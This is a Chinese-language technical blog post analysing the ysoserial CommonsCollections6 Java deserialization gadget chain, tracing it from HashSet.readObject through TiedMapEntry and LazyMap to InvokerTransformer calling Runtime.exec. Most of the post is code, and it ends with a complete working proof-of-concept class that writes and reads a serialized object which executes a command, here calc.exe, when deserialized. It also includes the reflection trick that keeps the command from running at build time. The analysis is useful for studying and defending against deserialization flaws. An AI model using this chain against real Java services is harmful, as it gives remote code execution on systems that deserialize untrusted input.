ysoserial commonscollections6 分析
2022-10-13 21:01:25
利用鏈如下：
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()與CC1鏈一致。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
1、InvokerTransformer.transform()
因為Runtime類不實現Serializable介面，所以使用Class類物件反射構造Runtime物件來實現exec方法。InvokerTransformer.transform()具備反射執行能力。
Class cr = Class.forName("java.lang.Runtime");
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
2、ChainedTransformer.transform()
使用ChainedTransformer構造方法，給iTransformers賦值，在transform中執行iTransformers所有元組的transform，transform傳入的引數為前一個元組的物件。所以這個方法可以對步驟1中鏈執行。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
建立一個Transformer[]，包含步驟1中所有物件。
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
由於步驟1中cr物件是Class物件，不實現Transformer介面。通過ConstantTransformer的transform方法得到一個實現Transformer的方法。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以最終得到的transformers是
public static void main(String[] args) throws Exception {
// Class cr = Class.forName("java.lang.Runtime");
;
Transformer[] transformers = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
new ChainedTransformer(transformers).transform(1);
//calc.exe
}
3、LazyMap.get()
LazyMap類的get方法實現了，對factory的transform。factory的decorate方法實現了對factory的賦值，Transformer型別
所以向decorate傳入new ChainedTransformer(transformers)，最終呼叫get來實現new ChainedTransformer(transformers)的transform。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
當然呼叫get方法的時候，如果key是不存在的才會執行factory.transform(key)，所以最終的呼叫
Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe
4、TiedMapEntry
根據利用鏈，下一步通過TiedMapEntry構造方法傳入map和key，通過getValue實現對map引數的get操作，所以將lazyMap和一個不存在的key作為引數傳入。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
利用鏈
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();
再看TiedMapEntry的hashCode方法，實現了getValue()的呼叫。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
利用鏈
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();
5、HashMap
hashmap的hash實現了對引數key的hashcode方法，put方法實現了hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
利用鏈
Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe
6、HashSet
根據利用鏈看HashSet類的readobject()，由於map = new HashMap<>()，最終實現了在readobject中呼叫了hashmap.put方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
利用鏈
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
由於在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中實際執行的lazyMap.get(2)。
public Object getValue() {
return map.get(key);
}
lazyMap.get(2)該執行過程中，如果lazyMap不存在key，會對lazyMap儲值。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以在做序列化的時候實際lazyMap中已經存在了key=2，反序列化的時候map.containsKey(key) == false不成立，在反序列化過程中無法成功執行Object value = factory.transform(key);
在序列化之前需要將該key移除
lazyMap.remove(2);
優化：
由於hashSet.add(tiedMapEntry);中，執行了map.put(tiedMapEntry)，最終會在本地執行exec。
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
在一開始可以對transformers賦空值，在序列化之前再對ChainedTransformer類產生的transformer的iTransformers通過反射做修改，將實際執行的exec執行鏈傳入。
Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
最終的利用鏈
public class CC6Test1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
lazyMap.remove(2);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
}
}
